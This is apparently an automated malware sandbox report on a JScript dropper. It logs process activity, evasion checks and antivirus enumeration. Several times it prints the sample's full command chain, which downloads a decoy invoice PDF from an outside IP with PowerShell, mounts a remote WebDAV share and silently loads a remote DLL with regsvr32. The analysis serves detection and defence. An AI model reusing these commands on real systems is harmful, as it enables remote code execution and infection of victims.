Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2426.js.csv");ITextStream.WriteLine(" entry:6785 f:piexojvu");ITextStream.WriteLine(" exec:2 f:piexojvu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4497			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5360			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5812	Thread sleep count: 4497 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5344	Thread sleep count: 5360 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5676	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6816	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5840	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7320	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1786545991.000001FB486CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1781759137.000001FB486CC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3000402212.000001DCE7654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2999325426.000001DCE222B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1786073808.000001FB48668000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
